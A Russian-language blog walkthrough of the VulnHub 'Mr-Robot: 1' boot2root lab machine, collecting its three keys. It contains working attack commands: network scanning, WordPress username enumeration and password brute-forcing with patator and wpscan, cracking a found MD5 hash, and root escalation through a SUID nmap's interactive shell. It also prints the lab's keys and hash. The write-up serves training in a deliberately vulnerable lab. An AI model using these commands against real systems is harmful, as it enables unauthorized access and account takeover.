VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot

в 22:07, , рубрики: ctf, information security, mr.robot, permissions, vulnerability, vulnhub, информационная безопасность

VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 1

Я думаю многие смотрели сериал Mr. Robot, с каждым сезоном, о нем узнаёт всё больше народу, вот и VulnHub не остался в стороне. И не так уж давно там появилась Boot2Root виртуальная машина Mr-Robot: 1. Её решение, мы сегодня и рассмотрим.
Реверса тут не будет, но будет несколько примеров демонстрирующих, то как из-за не верного назначения прав на критически важные файлы, ваша система может быть взломана. И так, начнём, нужно добыть 3 ключа.

Ключ 1

Получаем список портов, уже известным нам способом:

$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV

80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

Далее запустим robotscan, который мы уже применяли в одной из статей:

$ ./robotscan.py -u 'http://192.168.1.29' -e txt,php -w /usr/share/dirb/wordlists/big.txt -x 403

VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 2

Первый ключ:

$ curl http://192.168.1.29/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

Ключ 2

Как вы заметили, там есть ещё 1 не типичный для WordPress файл: fsocity.dic. Как выяснилось, это уже готовый словарь для брута. Осталось удалить из него дубликаты:

$ sort -u fsocity.dic > fsocity_sort.dic

WPScan отказался искать доступных пользователей, поэтому придется это делать другим способом:

P.S. WPScan проверяет URL вида: target_url/?author=$id
В то время, как по умолчанию, при авторизации, скрипт wp-login.php возвращает «Invalid username» в случае если пользователь не найден, и «The password you entered for the username $username is incorrect»

$ sudo patator http_fuzz url=http://192.168.1.29/wp-login.php method=POST body='log=FILE0&pwd=nn&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.29%2Fwp-admin%2F&testcookie=1' follow=1 accept_cookie=1 0=./fsocity_sort.dic -x ignore:fgrep='Invalid username'

И спустя некоторое время получаем вывод:

22:28:26 patator INFO — 200 4093:3643 0.262 | Elliot | 5474 | HTTP/1.1 200 OK
22:28:26 patator INFO — 200 4093:3643 0.276 | elliot | 5473 | HTTP/1.1 200 OK
22:28:27 patator INFO — 200 4093:3643 0.235 | ELLIOT | 5475 | HTTP/1.1 200 OK

Логин есть, осталось подобрать пароль. В качестве словаря, воспользуемся тем же файлом:

$ sudo ./wpscan.rb --url 192.168.1.29 --threads 50 --wordlist ./fsocity_sort.dic --username elliot

VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 3

Прокинем себе шелл через Metasploit:
VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 4

Первым делом изучаем содержимое директории с пользователями:
VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 5

Ключ здесь, но нужны креды пользователя robot. Открыв второй доступный файл, находим нужную нам информацию:

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Осталось расшифровать MD5 на ближайшем онлайн сервисе: abcdefghijklmnopqrstuvwxyz.
Логинимся в виртуалке и получаем второй ключ:
VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 6

Ключ 3

Третий ключ вероятно расположен у пользователя root. Посмотрим доступные SUID приложения:

$ find / -perm -4000 2>/dev/null

VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 7

Ничего не обычного, кроме nmap'а. После запуска без параметров, получаем справку, и потенциальную уязвимость:
VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 8

Как сказал бы MrRobot:

Взломать их было легко, они использовали старую версию nmap'а с поддержкой интерактивного режима, и не верно выставленные права, так что я с легкостью получил root доступ

$ nmap --interactive

VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 9

Из интерактивного режима запускаем командную оболочку !sh, и забираем последний ключ:
VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot - 10

Вот и всё. Очередное подтверждение тому, как не верное разграничение прав, приводит к компрометации системы!

Автор: GH0st3rs

Источник

Поделиться

* - обязательные к заполнению поля